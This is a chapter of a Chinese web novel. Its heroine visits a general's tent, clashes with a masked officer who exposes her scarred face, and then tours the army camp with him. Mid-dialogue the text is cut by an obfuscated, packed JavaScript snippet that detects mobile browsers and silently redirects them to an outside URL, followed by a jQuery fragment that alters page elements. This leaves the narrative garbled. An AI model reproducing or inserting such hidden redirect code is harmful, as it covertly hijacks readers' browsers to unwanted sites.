70. 第 70 章

作品:《竹马逼我攻略天降

    第二日,缈映雪按照昨日的约定时间,来到樊九的营帐内。


    主帅的营帐确实气派,她见了不由得感慨。这营帐简直比城里的某些房屋还要宽大气派了。营帐中央是一张宽大的桌案,桌案后站着一个背对着她的男人。


    “樊将军,我已到了。你邀约我时,在信上承诺给予的职位,可还作数?”


    “又是个没礼貌的小子。没人教过你吗?登门找人拿东西时,是不能直接要的。”


    那男人说着,仍未转身,只是自顾自翻阅着桌案后成堆的文书。


    这声音,根本不是樊九的。缈映雪瞧瞧往营帐的入口附近移动,道:“既然樊将军不在,那我改日再来。”


    “要逃啊?你害怕我?新来的胆子这么小,可不行。”


    那人放下了文书,转过身来,看着缈映雪。


    缈映雪先看到的,是这人脸上的狐狸面具。狐狸却不是市面上常见的红色,而是绿色的。绿色的狐狸面具,怎么看都很怪异。


    “樊将军今天去前线看防驻工事了。”林校尉走了过来,围着缈映雪走了几圈,边走边打量着她。而后道:“你这黑袍裹得这么紧,半点也不显露在外面。情绪也好、五官也好、身形也好,一点也瞧不着。藏成这样,你到底藏着什么秘密?还是你太过胆小,只有这样穿着,你才有安全感?”


    “你不也是吗?”缈映雪回视着他,道:“面具戴得这么紧,你看来也是个胆小鬼,也许是藏着秘密的胆小鬼。”


    “你到底是胆小还是胆大。听见我的声音时,想的是偷偷遛走。但现在却敢对我反唇相讥。”


    她一开始想走,不过是因为樊九不在这。她不爱惹过多的麻烦。如今她毕竟身份特殊,总得谨慎跟人打交道。特别是那些能说会道的人,以及那些喜欢问问题的人。


    这些人,第一次见面,就喜欢把你的背景全问出来。但关于他们自己,却半点也不会透露。


    林校尉见她不回答,却盯着自己,便直接问道:“你在想什么?”


    “我在想,为什么是绿色。”


    “什么绿色?”


    “你的面具,是绿色的狐狸。莫非你其实,分不清绿色和红色?”


    “小子,少揣度这些有的没的。我能告诉你,我戴面具的理由。你敢说你的理由吗?我戴面具是因为容貌有损,面具下的容貌骇人。”


    是了。这种人一见面就喜欢挖人背景的,会先抛出一个他们无关痛痒的秘密做饵。哪怕你根本不敢兴趣这秘密,但他们说出了口,便望着你。似乎你听了这秘密,便欠了他们一份关于你自己的秘密。


    而对付这种人放出的饵,最好的方式便是......


    “我穿黑袍,也是因为小时因侍奉双亲,面上烫伤了。”


    仿照他们所说的话,依样画葫芦地编个相似的故事堵回去。


    狐狸面具站定在她正前方,低头凝望着她许久,才低低笑出声:“这么巧?”


    “是啊,就是这么巧。”缈映雪没有半分畏惧,做得一派轻松。越是虚假的谎言,越要用最轻松不在意的语气说出来。


    她以前不懂这份撒谎的技巧,是后来在当内阁学士时,去刑部提审了多日犯人,才跟着他们学会的。


    “你开什么玩笑?”那狐狸面具下的声音变得愤怒:“我不是你可以戏弄的人!”


    缈映雪绷紧了后背,她直觉不对劲,注意力在此刻高度集中,确保自己能灵巧闪躲。这人此时的语气神态,让她总觉得不妙,似乎下一秒就会扑过来。


    果然只见林校尉掌风一动,正是只砸她面门而去。她因为此时高度关注他的动向,又加上人本能的反应是护着头。于是缈映雪伸出两手交叉在头前,格挡之下,竟误打误撞拦住了这拳。


    狐狸面具似乎没想到她能挡下这拳,有些出神。毕竟他一眼能看出,缈映雪走路时脚步太重,没有半分练过武艺的底子。


    缈映雪也知自己是侥幸能扛住。但运气来了,没有不抓住的道理!于是她瞅准了机会,趁对方还在震惊之时,右手往前一够,像猴子捞月一般,要去掀那狐狸面具。


    但她小看了自己与对方的差距。练过武的人,比拼时最知偷袭的厉害。所以一旦动手,对朝着自己袭来的拳脚格外灵敏,大部分早都练成了条件性的闪躲。只见那人侧头一偏,便叫缈映雪这一下堪堪擦着面具边缘而过。


    普通人还有第二项刻在本能行为上的弱点。一击不成后,总喜欢按照原来的方法,再来一击。但对方已有了防范,再来同样的一击,怎么可能?此时最聪明的做法,应当是发现对方有了警惕后,及时收手等到下次机会。


    缈映雪的右手遗憾擦过后,便下意识再去够那面具,但她刚一伸手,便被林校尉抓住了手腕,再往前不得了。只能看着那狐狸面具就在她的几息之外,在她一番折腾下,没有松动半分。


    她不知自己为什么要掀这幅面具,只觉得一股莫名的直觉在告诉她,眼前这人很复杂。复杂到她若是能揭开他的身份,也许这趟临砾城之旅,会轻松许多。


    “你失手了。”林校尉毫不客气地宣布结果。如今缈映雪一只手被他扣死,另一只左手力量小很多,一些挣扎完全不够看,她已整个成了瓮中之鳖。


    这么弱小的力量,还敢来北境三城?林校尉如此想着,嘴上道:“看来你的机会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17158089|196026||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    已经没了。那现在......轮到我了!看看你这黑袍底下,到底藏着什么!”


    那人连剑也未曾拔出,只用一只空出来的手,将佩剑往右上一孥,剑柄受力,脱离剑鞘朝右上方一顶,正顶在她黑色斗篷的扣结处,将那结顶开了,遮蔽她的斗篷,霎时全掉在地面上。而后剑体下落,落回剑鞘里。


    这是算准了方向位置,用上了巧力的巧解。这比那些只知用蛮力的人,又高明了些许。但总是比那些人,显得装或者做作一点。


    随着缈映雪的黑袍落地,那狐狸面具看见了她黑色斗篷下的脸,瞬时瞪大了眼,而后连忙转身撇开了视线。


    “你......你......怎么会是这样的脸!”


    原来那张脸,果真如她方才说的一般,确实是疤痕众多,面上横横竖竖的都是被热水烫过后,又经久得不到治愈,在新皮长出后堆积在一起,形成的一块块皱皮。


    远远一瞧,也分不清这张脸到底是男人还是女人,到底是二十岁左右的青年人,还是八九十的老人。哪怕是八九十的老人,也不会有这样满脸的皱皮。


    “看来惊吓到你了。”缈映雪重新裹好黑袍,道:“我早提醒过大人了,是大人非要自己来看。现在,大人可以让我离开了?跟樊将军说一声,以后约人见面的时候,他自己也该记得时间和地点,准时到。”


    “你以为樊将军是没空来,爽约了你?你什么身份,值得他亲自来会见。他是安排了我来接待你。”林校尉把黑袍丢回给缈映雪,让她重新围上。毕竟她现在那副脸,正常人都不想再多瞧一眼。


    缈映雪揉着被他方才抓红的手腕,质问道:“接待?你们接待人的方式还真特别。”昨日樊九捏青了她的肩膀,今日被这人抓红了手腕。连着两日,都在落人下风。


    缈映雪深刻知晓要想在这城里混下去,她一定得锻炼好身体。起码左手也得训练够力量,不至于被人捉了一只手,便再无反救的空间。


    “既是接待,那便带我去军营逛一逛,熟悉一下我们未来要共事的地方了吧?”她最想知道的,是关押俘虏的地方。但不能明说这事,只得寻个熟悉地方的幌子。


    她昨日了解过了。临砾城不算大,能关下玉京俘虏的地方只有两处。而那两处,都在军营里,青禾和牛芜,此时很可能就在军营里。


    “未来同我们共事的地方?何执,你未免也太自信了。军营岂是你想得那般容易。将军还未想好给你什么职位。你倒是真把自己当二把手了。既然你不知死活地要来,那便跟着来吧。”


    林校尉带着她走出营帐,才走了几百步。缈映雪落在他身后,突然哎哟一声痛呼。